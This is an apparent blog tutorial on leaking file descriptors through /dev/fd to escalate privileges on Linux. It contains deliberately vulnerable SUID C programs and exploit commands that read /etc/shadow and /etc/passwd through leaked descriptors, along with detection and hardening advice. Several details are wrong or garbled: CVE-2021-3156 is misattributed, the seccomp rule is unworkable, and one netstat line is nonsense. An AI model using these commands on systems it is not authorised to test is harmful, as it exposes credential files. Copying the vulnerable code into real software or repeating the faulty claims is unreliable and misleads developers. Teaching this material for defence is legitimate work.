Post

File Descriptor Leak via /dev/fd - A Linux Privilege Escalation Technique

File Descriptor Leak via /dev/fd - A Linux Privilege Escalation Technique

Introduction

File descriptor leaks via /dev/fd represent a fascinating class of vulnerabilities in Linux systems. Today we’ll explore how improperly handled file descriptors can lead to information disclosure and potential privilege escalation.

Vulnerability Type: Information Disclosure / Privilege Escalation
Impact: High
Difficulty: Intermediate
CVSS: 7.8 (High)

Understanding File Descriptors

File descriptors (FDs) are integer handles that represent open files, sockets, or other I/O resources in Unix-like systems. The /dev/fd/ directory provides access to these file descriptors.

1
2
# List current process file descriptors
ls -la /dev/fd/

Common file descriptors:

  • 0 - stdin (standard input)
  • 1 - stdout (standard output)
  • 2 - stderr (standard error)
  • 3+ - Additional open files/resources

The Vulnerability

When a privileged process opens sensitive files but fails to properly close file descriptors before executing user-controlled code, attackers can access these leaked descriptors.

Vulnerable Code Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Vulnerable SUID binary
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
    FILE *sensitive_file;
    
    // Open sensitive file as root
    setuid(0);
    sensitive_file = fopen("/etc/shadow", "r");
    
    // Drop privileges but forget to close file descriptor
    setuid(getuid());
    
    // Execute user-provided command
    if (argc > 1) {
        system(argv[1]);
    }
    
    return 0;
}

Exploitation Methodology

Step 1: Identify Vulnerable Process

First, let’s find processes with leaked file descriptors:

1
2
3
4
5
6
7
8
9
10
# Check for processes with unusual file descriptors
for pid in $(ps -eo pid --no-headers); do
    if [ -d "/proc/$pid/fd" ]; then
        fd_count=$(ls /proc/$pid/fd/ 2>/dev/null | wc -l)
        if [ "$fd_count" -gt 10 ]; then
            echo "PID $pid has $fd_count file descriptors"
            ls -la /proc/$pid/fd/ 2>/dev/null
        fi
    fi
done

Step 2: Analyze File Descriptor Leaks

1
2
3
4
5
6
7
8
9
# Examine specific process file descriptors
PID=1234
ls -la /proc/$PID/fd/

# Check what files are opened
lsof -p $PID

# Look for sensitive files
lsof -p $PID | grep -E "(shadow|passwd|key|secret)"

Step 3: Exploit via /dev/fd

If we can execute code in the context of the vulnerable process:

1
2
3
4
5
# Read sensitive file via leaked file descriptor
cat /dev/fd/3

# Or if we control a child process
./vulnerable_suid_binary "cat /dev/fd/3"

Real-World Example

Let’s create a practical demonstration:

Creating the Vulnerable Binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// vuln_fd.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[]) {
    int fd;
    
    // Open sensitive file as root
    fd = open("/etc/passwd", O_RDONLY);
    printf("Opened /etc/passwd with FD: %d\n", fd);
    
    // Execute user command without closing FD
    if (argc > 1) {
        system(argv[1]);
    }
    
    return 0;
}

Compilation and Setup

1
2
3
4
5
6
# Compile the vulnerable binary
gcc -o vuln_fd vuln_fd.c

# Make it SUID (for demonstration)
sudo chown root:root vuln_fd
sudo chmod 4755 vuln_fd

Exploitation

1
2
3
# Exploit the file descriptor leak
./vuln_fd "ls -la /dev/fd/"
./vuln_fd "cat /dev/fd/3"  # Read the leaked file descriptor

Advanced Exploitation Techniques

1. File Descriptor Inheritance

1
2
# Check inherited file descriptors in child processes
./vuln_fd "cat /proc/self/fd/* 2>/dev/null"

2. Socket File Descriptor Leaks

1
2
# If leaked FD is a socket
./vuln_fd "netstat -tulpn | grep $(cat /proc/self/fd/3)"

3. Timing-Based Exploitation

1
2
3
4
# Race condition exploitation
while true; do
    ./vuln_fd "test -r /dev/fd/3 && cat /dev/fd/3 && break"
done

Detection and Prevention

Detection Script

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
# fd_leak_detector.sh

echo "Scanning for potential file descriptor leaks..."

for binary in $(find /usr/bin /bin /sbin -perm -4000 2>/dev/null); do
    echo "Checking: $binary"
    
    # Run binary and check for unusual FDs
    timeout 5s strace -e trace=openat,close "$binary" 2>&1 | \
    grep -E "(openat.*=\s+[3-9]|close.*[3-9])" | \
    head -10
done

Prevention Measures

  1. Explicit FD Management
    1
    2
    3
    4
    5
    
    // Properly close file descriptors
    if (fd != -1) {
     close(fd);
     fd = -1;
    }
    
  2. FD_CLOEXEC Flag
    1
    2
    3
    
    // Set close-on-exec flag
    int flags = fcntl(fd, F_GETFD);
    fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
    
  3. Close All FDs Before Exec
    1
    2
    3
    4
    
    // Close all file descriptors before exec
    for (int i = 3; i < getdtablesize(); i++) {
     close(i);
    }
    

Mitigation Strategies

System-Level Mitigations

1
2
3
4
5
6
# Limit file descriptor access via systemd
echo "PrivateDevices=yes" >> /etc/systemd/system/service.conf

# Use seccomp to restrict /dev/fd access
# Add to seccomp profile:
# "names": ["openat"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 1, "value": "/dev/fd", "op": "SCMP_CMP_EQ"}]

Application-Level Fixes

1
2
3
4
5
6
7
8
9
10
// Secure file descriptor handling
void secure_fd_handling() {
    // Close unnecessary file descriptors
    for (int fd = 3; fd < 256; fd++) {
        close(fd);
    }
    
    // Or use closefrom() on systems that support it
    // closefrom(3);
}

Real-World Impact

File descriptor leaks have been found in:

  • Sudo vulnerabilities (CVE-2021-3156)
  • Container runtimes (Docker, containerd)
  • Web servers with CGI execution
  • SUID binaries in various distributions

Tools for Testing

Custom FD Leak Scanner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
# fd_scan.sh

TARGET_BINARY="$1"

if [ -z "$TARGET_BINARY" ]; then
    echo "Usage: $0 <binary_path>"
    exit 1
fi

echo "Testing $TARGET_BINARY for FD leaks..."

# Test with various payloads
payloads=(
    "ls -la /dev/fd/"
    "cat /dev/fd/*"
    "lsof -p \$\$"
    "readlink /dev/fd/*"
)

for payload in "${payloads[@]}"; do
    echo "Testing payload: $payload"
    "$TARGET_BINARY" "$payload" 2>/dev/null
    echo "---"
done

Conclusion

File descriptor leaks via /dev/fd represent a serious security concern that can lead to information disclosure and privilege escalation. Proper file descriptor management, including explicit closing and the use of FD_CLOEXEC, is crucial for secure application development.

Key takeaways:

  • Always close file descriptors explicitly
  • Use FD_CLOEXEC for sensitive files
  • Implement proper privilege dropping procedures
  • Regular security audits of SUID binaries

Stay vigilant and happy hacking! 🔐


Disclaimer: This information is provided for educational and defensive purposes only. Always ensure you have proper authorization before testing on any systems.

This post is licensed under CC BY 4.0 by the author.